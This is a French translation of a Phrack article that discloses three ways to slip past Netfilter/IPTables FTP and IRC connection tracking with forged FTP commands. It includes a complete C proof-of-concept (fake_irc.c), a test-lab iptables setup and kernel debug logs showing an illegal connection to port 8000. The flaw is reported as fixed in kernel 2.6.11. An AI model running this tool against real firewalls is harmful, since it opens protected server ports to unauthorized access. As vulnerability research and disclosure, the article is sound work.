==Phrack Inc.== Volume 0x0b, Issue 0x3f, Phile #0x13 of 0x14 |=----=[ Traverser un firewall à l'aide d'une commande FTP forgée ]=-----=| |=-----------------------------------------------------------------------=| |=-------------=[ Soungjoo Han ]=------------------=| |=------[ Trad : BeRgA pour SoH (berga-at-spiritofhack-dot-net) ]--------=| Sommaire 1 - Introduction 2 - FTP, IRC et l'inspection d'état de Netfilter 3 - Scénario d'attaque I 3.1 - Première méthode 3.2 - Détails de la première méthode 4 - Scénario d'attaque II - Ligne de commande non-standard 4.1 - Détails de la seconde méthode 5 - Scénario d'attaque III - utilisation du 'echo' de la réponse FTP 5.1 - FTP passif: informations secondaires 5.2 - Détails de la troisième méthode 6 - APPENDICE I. Un outil de démonstration pour la seconde méthode. 7 - APPENDICE II. Un exemple de la seconde méthode d'attaque. --[ 1 - Introduction FTP est un protocole qui utilise deux connexions. L'une d'elle est appelée connexion de contrôle, et l'autre, connexion de données. Les commandes et les réponses FTP sont echangées à travers la connexion de contrôle, qui dure le temps d'une session FTP. A l'inverse, un fichier (ou un ensemble de fichiers) est envoyé à travers la connexion de données, qui est nouvellement établie chaque fois qu'un fichier est transféré. La plupart des firewalls n'acceptent généralement aucune connexion, sauf la connexion de contrôle FTP en direction d'un serveur (port 21 par défaut), pour la sécurité du réseau. Cependant, lors du transfert d'un fichier, ils acceptent temporairement une connexion de données. Pour cela, un firewall surveille l'état de la connexion de contrôle et détecte la commande liée à un transfert de fichier. C'est ce qu'on appelle une inspection d'état. J'ai crée trois méthodes d'attaques qui font en sorte qu'un firewall accepte une connexion illégale, en utilisant une commande FTP forgée pour trompert sa surveillance de la connexion de contrôle. Je les ai testées avec Netfilter/IPTables, qui est un firewall installé par défaut sur les Linux 2.4 et 2.6. Je peux confirmer que la première méthode a fonctionné sur le kernel 2.4.18, et la seconde (qui n'est qu'une variante de la première) a bien fonctionné sur un Linux 2.4.28 (une version récente du noyau Linux). Cette faille a déjà été reportée à l'équipe du projet Netfilter, et ils l'ont fixée sur le noyau 2.6.11. --[ 2 - FTP, IRC et l'inspection d'état de Netfilter Pour commencer, examinons FTP, IRC (vous saurez plus tard pourquoi IRC est mentionné ici) et l'inspection d'état de Netfilter. Si vous êtes un maître en la matière, vous pouvez passer ce chapitre. Comme je l'ai expliqué précédemment, FTP utilise une connexion de contrôle pour échanger les commandes et les réponses (qui sont représentées en ASCII) et, parallèlement, une connexion de données pour les transferts de fichiers. Par exemple, quand vous tapez la commande "ls" ou "get " sur un prompt FTP, le serveur (en mode actif) initialise une connexion de donnée vers un numéro de port TCP (appelé port de données) sur le client FTP, votre host. Le client, avant cela, envoie le numéro du port de donnée grâce à la commande PORT, l'une des commandes FTP. La commande PORT se présente comme ceci : PORTh1,h2,h3,h4,p1,p2 La chaîne de caractère "h1,h2,h3,h4" représente l'adresse IP décimale "h1.h2.h3.h4", qui appartient au client. Et la chaîne "p1,p2" indique un numéro de port de donnée (= p1 * 256 + p2). Chacun des champs de l'adresse et du numéro de port est un nombre décimal. Un port de données est assigné dynamiquement par le client. Les commandes et les réponses se terminent par la séquence de caractères . Netfilter surveille une connexion de contrôle FTP et récupère le numéro de séquence TCP et la valeur du champ "data lenght" d'un paquet contenant une ligne de commande FTP (qui termine par ). Il calcule ensuite, grâce à ce numéro, le numéro de séquence du prochain paquet de commande. Quand un paquet avec ce numéro de séquence arrive, Netfilter l'analyse et voit si les données de ce paquet contiennent une commande FTP. Si le début des données commence par "PORT" et se termine par , alors Netfilter le considère comme une commande PORT valide (les codes rééls sont un petit peu plus compliqués) et en extrait une adresse IP et un numéro de port. Ensuite, Netfilter attend que le serveur initialise une connexion de données vers le port spécifié. Quand la requête de connexion de données est reçue, il accepte la connexion pour tout le temps où elle sera établie. Dans le cas d'une commande incomplète, appelée "commande partielle", il augmente la fiabilité de sa surveillance. IRC (Internet Relay Chat) est un protocole de discussion sur Internet. Un client IRC peut utiliser une connexion directe pour parler avec un autre client. Quand un client se log sur un serveur, il se connecte à un serveur IRC (port TCP 6667 par défaut). D'un autre côté, lorque le client veut communiquer avec un autre, il établit une connexion directe avec ce dernier. Pour ce faire, le client envoie un message appelé commande DCC CHAT. La commande est analogue à une commande PORT FTP. Et Netfilter surveille les connexions IRC de la même manière. Il attend et accepte les connexions de discussion directe. --[ 3 - Scenario d'attaque I ----[ 3.1 - Première méthode J'ai créé un moyen de me connecter illégalement sur n'importe quel port TCP d'un serveur FTP protégé par Netfilter, en trompant le module de surveillance de connexions (noyau Linux 2.4.18). Dans la plupart des cas, les admins d'IPTables font en sorte que les règles de filtrage acceptent certains services Internet comme par exemple le chat IRC direct ou le transfert de fichier FTP. Pour cela, ils insèrent généralement la règle suivante dans la liste des règles IPTables : iptables -A FORWARD -m state --state ESTABLISHED, RELATED -j ACCEPT Supposons qu'un utilisateur malicieux qui s'est loggué sur un serveur FTP transmette une commande PORT avec un numéro de port 6667 (c'est le port par défaut des serveurs IRC) sur le réseau extérieur et essaye ensuite de télécharger un fichier depuis ce serveur. Le serveur FTP initialise une connexion de données vers le port de donnée 6667 de l'host de l'attaquant. Le firewall accepte cette connexion, de par la règle de filtrage des paquets énoncée ci-dessus. Une fois que la connexion est établie, le module de surveillance de connexions du firewall (pour les noyaux 2.4.18) fait alors l'erreur de la prendre pour une connexion IRC. L'attaquant peut ainsi se faire passer pour un serveur IRC. Si l'attaquant télécharge un fichier constitué d'une chaîne ressemblant à un commande DCC CHAT, le module de surveillance de connexion va prendre le contenu du paquet pour une commande DCC CHAT. Par conséquent, le firewall autorise n'importe quel host à se connecter sur le port TCP spécifié dans la fausse commande DCC CHAT du faux serveur IRC (c'est-à-dire le serveur FTP), étant donné la règle qui lui a été donnée. Pour cela, l'attaquant doit uploader le fichier avant l'intrusion. En conclusion, l'attaquant est capable de se connecter illégalement à n'importe quel port TCP du serveur FTP. ----[ 3.2 - Détails de la première méthode Pour la décrire en détail, supposons une configuration réseau comme suit : (a) Une machine avec Netfilter/IPTables protège un serveur FTP sur un réseau. Les utilisateurs externes ne peuvent donc se connecter qu'au port FTP du serveur. les utilisateurs autorisés peuvent s'y loguer et downloader/uploader des fichiers. (b) Les utilisateurs présents au sein du réseau protégé, incluant l'host du serveur FTP, peuvent se connecter uniquement aux serveurs IRC du réseau externe. (c) Tant que l'un des services Internet dont il est question en (a) et (b) est établit, les connexions secondaires (connexion de données FTP par exemple) liée à ce service sont acceptées. (d) Toute autre connexion est bloquée. Pour mettre en place une inspection d'état pour IRC et FTP, l'administrateur charge le module de suveillance de connexion IP, appelé ip_conntrack du firewall en incluant ip_conntrack_ftp et ip_conntrack_irc, qui surveillent respectivement les traffics FTP et IRC. Ipt_state doit aussi être chargé. Dans certaines circonstances, un attaquant peut facilement créer un programme qui se loggue sur le FTP et force enuite le serveur à initier une connexion FTP de données vers un port TCP arbitraire de son host. Supposons qu'il ait transmis une commande PORT avec comme port de données le port 6667 (c'est-à-dire le port des serveurs IRC par défaut). Un exemple : "PORT 192,168,100,100\r\n". Le module ip_conntrack_ftp qui surveille cette connexion analyse la commande PORT et s'attend à ce que le serveur FTP ouvre une connexion sur le port de l'host de l'attaquant spécifié précédemment. Après cela, l'attaquant envoie une commande FTP pour télécharger un fichier, "RETR ". Le serveur essaie de se connecter au port 6667 de l'host de l'attaquant. Netfilter accepte la connexion de données FTP, conformément à la règle de filtrage qu'il a reçue. Une fois la connexion établie, le module ip_conntrack prend cette connexion pour une connexion IRC. Il voit donc le serveur FTP comme un client IRC, et l'host de l'attaquant comme un serveur IRC. Si le faux client IRC (c'est-à-dire le serveur FTP) transmet des paquets par la connexion de données FTP, le module ip_conntrack_irc va essayer de trouver un message correspondant au protocole DCC dans les paquets. L'attaquant peut faire en sorte que le serveur FTP envoie la fausse commande DCC CHAT en utilisant la méthode suivante. Avant cette intrusion, l'attaquant upload un fichier constitué d'une chaîne ressemblant à une commande DCC CHAT. A ma connaissance, la forme d'une commande DCC CHAT est la suivante : "\1DCCCHATt\1\n" Par exemple : "\1DCC CHAT t 3232236548 8000\1\n" Dans ce cas, Netfilter autorise n'importe quel host à ouvrir une connexion vers le port TCP du client IRC spécifié dans la ligne ci-dessus. L'attaquant peut bien entendu spécifier arbitrairement le numéro de port TCP dans le faux message de commande DCC CHAT. Si un paquet de ce type passe par le firewall, le module ip_conntrack_irc le prendra à tort pour une commande DCC CHAT et s'attendra à ce qu'un host ouvre une connexion sur le port TCP spécifié du serveur FTP pour un chat direct. Il en résulte que Netfilter autorise l'attaquant à se connecter au port du serveur FTP, comme convenu dans ses règles de surveillance d'état. Finalement, avec cette méthode, l'attaquant peut se connecter illégalement à n'importe quel port TCP du serveur FTP. --[ 4 - Scenario d'attaque II - Ligne de commande non-standard. ----[ 4.1. Détails de la seconde méthode. Netfilter, sous Linux 2.4.20 (et versions suivantes), est suffisament protégé pour qu'une connexion secondaire (par exemple une connexion de données FTP), acceptée par une connexion primaire ne soit plus prise pour tel ou tel autre protocole. Ainsi, les contenus des paquets d'une connexion de données FTP ne sont plus acceptés par le module de surveillance de connexion IRC. Pourtant, j'ai trouvé un moyen de me connecter illégalement à n'importe quel port TCP d'un serveur FTP protégé par Netfilter, en esquivant la surveillance de la connexion grâce à une commande FTP non-standard. Comme je l'ai dit plus haut, je peux confirmer que cela a fonctionné sur un kernel 2.4.28. Dans les mêmes circonstances que celles décrites pour la première méthode, un utilisateur malicieux branché sur le réseau externe peut facilement créer un programme qui le loggue sur le serveur FTP et transmet une ligne de commande non-standard. Par exemple, un attaquant peut transmettre une commande PORT sans le caractère à la fin de la ligne. La commande se termine donc par . Un exemple : "PORT 192,168,100,100,26,11\n". Normalement, une commande FTP standard contient la séquence pour marquer la fin de la ligne. Si le module ip_conntrack_ftp reçoit une commande PORT non-standard de ce genre, il commence par reconnaître une commande et cherche ensuite la chaîne avant de procéder à l'analyse de la ligne. Comme il ne le trouve pas, ip_conntrack_ftp considère le paquet comme une commande partielle et supprime le paquet. Juste avant la suppression, ip_conntrack_ftp anticipe le numéro de séquence du paquet qui contiendra la prochaine ligne de commande et suit la procédure décrite précédemment. Ce numéro est calculé en se basant sur le numéro de séquence TCP et sur la taille des données du paquet contenant la commande PORT partielle. Cependant, un client TCP, après cela, retransmet habituellement le paquet contenant la commande PORT tant qu'il n'a pas reçu la réponse correspondante. Dans de cas, ip_conntrack_ftp NE CONSIDERE PAS ce paquet retransmis comme une commande FTP, puisque son numéro de séquence est différent de celui qu'avait calculé le serveur juste avant. Du point de vue d'ip_conntrack_ftp, le paquet possède un "mauvais" numéro de séquence. Le module ip_conntrack_ftp ne fait donc qu'accepter le paquet sans analyser la commande qu'il contient. Le serveur FTP peut donc éventuellement recevoir le paquet retransmis par l'attaquant. Bien que ip_conntrack_ftp considère cette commande partielle comme INVALIDE, certains serveurs FTP, comme wu-FTP et IIS la considère à l'inverse comme VALIDE, même sans la chaîne . En conclusion, le firewall, dans ce cas, se retrouve à attendre la connexion de données FTP. Et lorsque l'attaquant envoie une commande RETR pour télécharger un fichier sur le serveur, ce dernier initialise une connexion vers l'host de l'attaquant, sur le port spécifié dans la commance PORT partielle. Supposons que le port TCP soit le 6667, le firewall, obéissant à la règle de filtrage passif qui autorise les connexions IRC, acceptera cette connexion. Donc le module de surveillance IP prend à tort cette connexion pour une connexion de type IRC. Les étapes suivantes de l'attaque sont les mêmes que celles de la méthode décrite dans le chapitre précédent. En conclusion, l'attaquant est capable de se connecter illégalemnt à n'importe quel port TCP du serveur FTP protégé par NetFilter. *[supplément] Il y a une méthode plus raffinée pour esquiver la surveillance de connexion de NetFilter. Elle utilise le port de données par défaut. A condition que ce port ne soit pas spécifié par une commande PORT, lorsqu'une connexion de données doit être établie, un serveur FTP le fera de son port 20 vers le port client utilisé pour la connexion de contrôle. Pour faire cela, le client doit mettre en écoute son port local à l'avance. En plus de ça, il doit changer le port local pour le 6667(IRCD) et régler l'option "SO_REUSEADDR" pour réutiliser ce port. Vu qu'une commande PORT ne passe jamais au travers d'un machine firewall, NetFilter ne peut anticiper la connexion de donnée. Je confirme que cela a foncionné sur un Linux 2.4.20. ** Un outil de démonstration et un exemple de cette attaque sont décrits respectivement dans les APPENDICES I ET II. --[ 5 - Scenario d'attaque III - Utilisation du 'echo' de la réponse FTP. ----[ 5.1 - FTP passif: information secondaires Un serveur FTP est tout autant capable d'ouvrir une connexion passive pour les connexions de données. C'est ce qu'on appelle le FTP passif. A l'inverse, un FTP qui ouvre une connexion active est appelé FTP actif. Juste avant le transfert de fichier en mode passif, le client envoie une commande PASV et le serveur répond au client avec un message contenant un numéro de port. Voyez l'exemple suivant : -> PASV\r\n <- 227 Entering Passive Mode (192,168,20,20,42,125)\r\n Comme pour une commande PORT, l'adresse IP et le numéro de port sont séparés par des virgules. En attendant, lorsque vous entrez un nom d'utilisateur, les commandes et réponses suivantes sont échangées : -> USER \r\n <- 331 Password required for .\r\n ----[ 5.2 - Détails de la troisième méthode Juste après qu'un utilisateur se soit connecté à un serveur FTP, ce dernier demande généralement un nom d'utilisateur. Lorsque le client entre un login sur le prompt FTP, une commande USER est envoyée, et la même séquence que le nom d'utilisateur fournie, qui est une partie de la réponse correspondante, en renvoyée en echo. Par exemple, si un utilisateur entre la chaîne "Alice Lee" comme nom d'utilisateur, la ligne de commande suivante est envoyée à travers la connexion de contrôle : -> USER Alice Lee\r\n Le serveur FTP répond généralement comme suit : <- 331 Password required for Alice Lee.\r\n ("Alice Lee" est renvoyé en echo.) Les espaces peuvent être compris dans un nom d'utilisateur. Un utilisateur malicieux peut insérer ce qu'il souhaite dans le nom. Par exemple, quand une chaîne identique à la réponse pour un FTP passif est insérée, une partie de la réponse reçue est identique à une réponse relative à un FTP passif. -> USER 227 Entering Passive Mode (192,168,20,29,42,125)\r\n <- 331 Password required for 227 Entering Passive Mode (192,168,20,29,42,125).\r\n Est-ce qu'un firewall le confondra avec une "vraie" réponse de FTP passif ? Peut-être que la plupart des firewalls ne se laissent pas tromper par cette méthode parce que la chaîne fictive est au milieu de la ligne de réponse. Cependant, supposons que le champ "taille de fenêtre" du paquet TCP de connexion soit correctement ajusté par l'attaquant au moment où la connexion s'établit, alors les contenus pourront être séparés en deux, comme deux réponses indépendantes. (A) ----->USER xxxxxxxxx227 Entering Passive Mode (192,168,20,29,42,125)\r\n (B) <-----331 Password required for xxxxxxxxx (C) ----->ACK(with no data) (D) <-----227 Entering Passive Mode (192,168,20,20,42,125).\r\n (Les caractères "xxx..." permettent de régler la taille de fenêtre.) Je l'ai effectivement testé sur NetFilter/IPTables. Je confirme que NetFilter ne prend pas du tout la ligne (D) pour une réponse FTP. La raison est la suivante : (B) n'est pas une ligne de commande complète finissant par . Ainsi, NetFilter ne considère jamais (D), le paquet de données suivant (B), comme la réponse suivante. Par conséquent, le firewall n'essaye pas de l'analyser. Mais, s'il y avait un firewall à surveillance de connexion plus négligeant, l'attaque fonctionnerait. Dans ce cas, le firewall négligeant s'attendrait à ce que le client ouvre une connexion active vers le serveur FTP, sur le port TCP spécifié dans la fausse réponse. Quand l'attaquant l'attaquant initialise une connexion vers le port cible du serveur, le firewall peut éventuellement l'accepter. --[ 6 - APPENDICE I. Un tool de démonstration pour la seconde méthode J'ai écrit un programme en C pour cette méthode. j'ai utilisé la commande de compilation suivante : />gcc -Wall -o fake_irc fake_irc.c Le code source est le suivant : /* UTILISATION : ./fake_irc - : l'IP du serveur FTP ciblé - : le port TCP du serveur FTP sur lequel l'attaquant veut se connecter. - : un login pour se connecter au FTP - : un pass pour se conecter au FTP - : le nom d'un fichier à télécharger sur le serveur FTP */ #include #include #include #include #include #include #define BUF_SIZE 2048 #define DATA_BUF_SZ 65536 #define IRC_SERVER_PORT 6667 #define FTP_SERVER_PORT 21 static void usage(void) { printf("USAGE : ./fake_irc " " " " \n"); return; } void send_cmd(int fd, char *msg) { if(send(fd, msg, strlen(msg), 0) < 0) { perror("send"); exit(0); } printf("--->%s\n", msg); } void get_reply(int fd) { char read_buffer[BUF_SIZE]; int size; //get the FTP server message if( (size = recv(fd, read_buffer, BUF_SIZE, 0)) < 0) { perror("recv"); exit(0); } read_buffer[size] = '\0'; printf("<---%s\n", read_buffer); } void cmd_reply_xchg(int fd, char *msg) { send_cmd(fd, msg); get_reply(fd); } /* argv[0] : a program name argv[1] : an FTP server IP argv[2] : a target port on the FTP server host argv[3] : a user name argv[4] : a password argv[5] : a file name to be downloaded */ int main(int argc, char **argv) { int fd, fd2, fd3, fd4; struct sockaddr_in serv_addr, serv_addr2; char send_buffer[BUF_SIZE]; char *ftp_server_ip, *user_id, *pwd, *down_file; unsigned short target_port; char data_buf[DATA_BUF_SZ]; struct sockaddr_in sa_cli; socklen_t client_len; unsigned int on = 1; unsigned char addr8[4]; int datasize; if(argc != 6) { usage(); return -1; } ftp_server_ip = argv[1]; target_port = atoi(argv[2]); user_id = argv[3]; pwd = argv[4]; down_file = argv[5]; if((fd = socket(AF_INET, SOCK_STREAM, 0)) <0) { perror("socket"); return -1; } bzero(&serv_addr, sizeof(struct sockaddr_in)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(FTP_SERVER_PORT); serv_addr.sin_addr.s_addr = inet_addr(ftp_server_ip); //connect to the FTP server if(connect(fd, (struct sockaddr *) &serv_addr, sizeof(struct sockaddr))) { perror("connect"); return -1; } //get the FTP server message get_reply(fd); //exchange a USER command and the reply sprintf(send_buffer, "USER %s\r\n", user_id); cmd_reply_xchg(fd, send_buffer); //exchange a PASS command and the reply sprintf(send_buffer, "PASS %s\r\n", pwd); cmd_reply_xchg(fd, send_buffer); //exchange a SYST command and the reply sprintf(send_buffer, "SYST\r\n"); cmd_reply_xchg(fd, send_buffer); sleep(1); //write a PORT command datasize = sizeof(serv_addr); if(getsockname(fd, (struct sockaddr *)&serv_addr, &datasize) < 0 ) { perror("getsockname"); return -1; } memcpy(addr8, &serv_addr.sin_addr.s_addr, sizeof(addr8)); sprintf(send_buffer, "PORT %hhu,%hhu,%hhu,%hhu,%hhu,%hhu\n", addr8[0], addr8[1], addr8[2], addr8[3], IRC_SERVER_PORT/256, IRC_SERVER_PORT % 256); cmd_reply_xchg(fd, send_buffer); //Be a server for an active FTP data connection if((fd2 = socket(AF_INET, SOCK_STREAM, 0)) <0) { perror("socket"); return -1; } if(setsockopt(fd2, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0) { perror("setsockopt"); return -1; } bzero(&serv_addr, sizeof(struct sockaddr_in)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(IRC_SERVER_PORT); serv_addr.sin_addr.s_addr = INADDR_ANY; if( bind(fd2, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0 ) { perror("bind"); return -1; } if( listen(fd2, SOMAXCONN) < 0 ) { perror("listen"); return -1; } //send a RETR command after calling listen() sprintf(send_buffer, "RETR %s\r\n", down_file); cmd_reply_xchg(fd, send_buffer); //accept the active FTP data connection request client_len = sizeof(sa_cli); bzero(&sa_cli, client_len); fd3 = accept (fd2, (struct sockaddr*) &sa_cli, &client_len); if( fd3 < 0 ) { perror("accept"); return -1; } //get the fake DCC command bzero(data_buf, DATA_BUF_SZ); if( recv(fd3, data_buf, DATA_BUF_SZ, 0) < 0) { perror("recv"); return -1; } puts(data_buf); ///Start of the attack if((fd4= socket(AF_INET, SOCK_STREAM, 0)) <0) { perror("socket"); return -1; } bzero(&serv_addr2, sizeof(struct sockaddr_in)); serv_addr2.sin_family = AF_INET; serv_addr2.sin_port = htons(target_port ); serv_addr2.sin_addr.s_addr = inet_addr(ftp_server_ip); if(connect(fd4, (struct sockaddr *)&serv_addr2, sizeof(struct sockaddr))) { perror("connect"); return -1; }else printf("\nConnected to the target port!!\n"); //Here, communicate with the target port sleep(3); close(fd4);//close the attack connection /////////////The end of the attack. close(fd3);//close the FTP data connection //get the reply of FTP data transfer completion get_reply(fd); sleep(1); close(fd);//close the FTP control connection close(fd2); return 0; }/*The end*/ -------------------------------------------- --[ 7 - APPENDICE II. Un exemple démonstratif de la seconde méthode d'attaque Les circonstances suivantes sont celles que j'ai réellement rencontré pour tester. Le symbole "[]" représente une machine physique. [Un host d'attaquant]-----[un firewall]-----[Un serveur FTP] (Les interfaces réseau, eth1 et eth2 du firewall sont directement reliées, respectivement, à l'host de l'attaquant et au serveur). Comme la figure ci-dessus le montre, les paquets transmis entre le client FTP (c'est-à-dire l'attaquant) et le serveur FTP passeront nécessairement à travers la machine Linux sur laquelle tourne IPTables (kernel 2.4.28). Les adresses IP assignées à chacune des machines sont les suivantes : (a) L'host de l'attaquant : 192.168.3.3 (b) Port eth1 sur la machine Linux : 192.168.3.1 (c) Le serveur FTP : 192.168.4.4 (d) Port eth2 sur la machine Linux : 192.168.4.1 Un serveur TCP est en écoute sur l'adresse de l'host du serveur, port 8000. Le serveur sur le port 8000 est protégé par IPTables. L'attaquant a essayé de se connecter illégalement sur ce port du serveur FTP dans cette démonstration. Les informations associées enregistrées pendant l'attaque sont écrites dans l'ordre suivant : (1) La configuration système du firewall, comprenant l'ensemble des règles d'IPTables. (2) Les sorties de Tcpdump sur le port eth1 du firewall (3) Les sorties de Tcpdump sur le port eth2 du firewall (4) Les données du fichier /proc/net/ip_conntrack avec leur changement dans le temps. Cela montre les informations sur les connexions surveillées. (5) DEBUGP(), messages printk pour le debugging dans les fichiers source (ip_conntrack_core.c, ip_conntrack_ftp.c et ip_conntrack_irc.c). Pour avoir les messages détaillés, j'ai activé la macro fonctionn DEBUGP() dans les fichiers. Etant donné que certains caractères des messages sont coréens, ils ont été supprimé. Vous m'en voyez désolé. ===================================================================== (1) La configuration système du firewall [root@hans root]# uname -a Linux hans 2.4.28 #2 2004. 12. 25. () 16:02:51 KST i686 unknown [root@hans root]# lsmod Module Size Used by Not tainted ip_conntrack_irc 5216 0 (unused) ip_conntrack_ftp 6304 0 (unused) ipt_state 1056 1 (autoclean) ip_conntrack 40312 2 (autoclean) [ip_conntrack_irc ip_conntrack_ftp ipt_state] iptable_filter 2432 1 (autoclean) ip_tables 16992 2 [ipt_state iptable_filter] ext3 64032 3 (autoclean) jbd 44800 3 (autoclean) [ext3] usbcore 48576 0 (unused) [root@hans root]# iptables -L Chain INPUT (policy ACCEPT) target prot opt source destination Chain FORWARD (policy DROP) target prot opt source destination ACCEPT tcp -- 192.168.3.3 192.168.4.4 tcp dpt:ftp ACCEPT tcp -- anywhere anywhere tcp dpt:auth ACCEPT tcp -- 192.168.4.4 192.168.3.3 tcp dpt:ircd ACCEPT all -- anywhere anywhere state RELATED,ESTABL ISHED Chain OUTPUT (policy ACCEPT) target prot opt source destination [root@hans root]# route -n Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 192.168.4.0 0.0.0.0 255.255.255.0 U 0 0 0 eth2 192.168.3.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1 192.168.150.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0 127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo ===================================================================== (2) Les sorties de Tcpdump sur le port eth1 du firewall Vous pouvez voir que les commandes PORT "partielles" ont éré transmises et qu'une connexion illégale sur le port 8000 a été établie. tcpdump -nn -i eth1 -s 0 -X [ Equipe phrack: Sorties enlevés. Fais-le par toi-même. ] ===================================================================== (3) Les sorties de Tcpdump sur le port eth2 du firewall Seulement une commande PORT w/o est affichée sur le port eth2 depuis que la première a été supprimée. tcpdump -nn -i eth2 -s 0 -X [ Equipe phrack : Sorties enlevées. Sois habiles. Fais-le tout seul! ] ===================================================================== (4) Les données du fichier /proc/net/ip_conntrack avec leur changement dans le temps. Le fichier /proc/net/ip_conntrack montre les infos sur les connexions surveillées. Pour ça, j'ai exécuté la commande shell suivante : />watch -n 1 "data >> /tmp/ipconn.txt;cat /proc/net/ip_conntrack >> /tmp/ipconn.txt" Note : Les connexions qui ne sont pas en rapport avec ce test apparaissent de temps en temps. j'en suis désolé. [ Equipe phrack : Sorties enlevées. Utilise la force luke! ] ===================================================================== (5) dmesg outputs -> Le paragraphe suivant montre que la première commande w/o a été considérée comme partielle et donc supprimée. Dec 31 15:03:40 hans kernel: find_pattern `PORT': dlen = 23 Dec 31 15:03:40 hans kernel: Pattern matches! Dec 31 15:03:40 hans kernel: Skipped up to ` '! Dec 31 15:03:40 hans kernel: Char 17 (got 5 nums) `10' unexpected Dec 31 15:03:40 hans kernel: conntrack_ftp: partial PORT 1273167371+23 -> Le paragraphe suivant montre que la seconde commande PORT invalide w/o a été acceptée parce que le paquet a été considéré comme ayant un mauvais numéro de séquence (c'est-à-dire pas comme une commande FTP) Dec 31 15:03:40 hans kernel: ip_conntrack_in: normal packet for d7369080 Dec 31 15:03:40 hans kernel: conntrack_ftp: datalen 23 Dec 31 15:03:40 hans kernel: conntrack_ftp: datalen 23 ends in \n Dec 31 15:03:40 hans kernel: ip_conntrack_ftp_help: wrong seq pos (1273167394) -> Le paragraphe suivant monter que le module de surveillance de connexion a pris la connexion de données FTP pour de l'IRC. Dec 31 15:03:40 hans kernel: ip_conntrack_in: new packet for d73691c0 Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:entered Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:Conntrackinfo = 2 Dec 31 15:03:40 hans kernel: Confirming conntrack d73691c0 -> Le paragraphe suivant montre que ip_conntrack_irc a pris le contenu du paquet de la connexion de données FTP pour un DCC CHAT et s'attendait à recevoir la connexion de discussion. Dec 31 15:03:40 hans kernel: ip_conntrack_in: normal packet for d73691c0 Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:entered Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC found in master 192.168.4.4:20 192.168.3.3:6667... Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC CHAT detected Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC bound ip/port: 192.168.4.4:8000 Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:tcph->seq = 3731565152 Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:wrote info seq=1613392874 (ofs=33), len=21 Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:expect_related 0.0.0.0:0-192.168.4.4:8000 Dec 31 15:03:40 hans kernel: ip_conntrack_expect_related d73691c0 Dec 31 15:03:40 hans kernel: tuple: tuple d6c61d94: 6 0.0.0.0:0 -> 192.168.4.4:8000 Dec 31 15:03:40 hans kernel: mask: tuple d6c61da4: 65535 0.0.0.0:0 -> 255.255.255.255:65535 Dec 31 15:03:40 hans kernel: new expectation d7cf82e0 of conntrack d73691c0 -> Le paragraphe suivant montre que ip_conntrack a, après tout, accepté la connexion au port 8000, conformément à sa règle d'inspection d'état. Dec 31 15:03:40 hans kernel: conntrack: expectation arrives ct=d7369260 exp=d7cf82e0 Dec 31 15:03:41 hans kernel: ip_conntrack_in: related packet for d7369260 Dec 31 15:03:41 hans kernel: Confirming conntrack d7369260 Dec 31 15:03:41 hans kernel: ip_conntrack_in: normal packet for d7369260 |=[ EOF ]=---------------------------------------------------------------=| Relecture : DecereBrain, le Vendredi 25 Mai 2007, 20:31.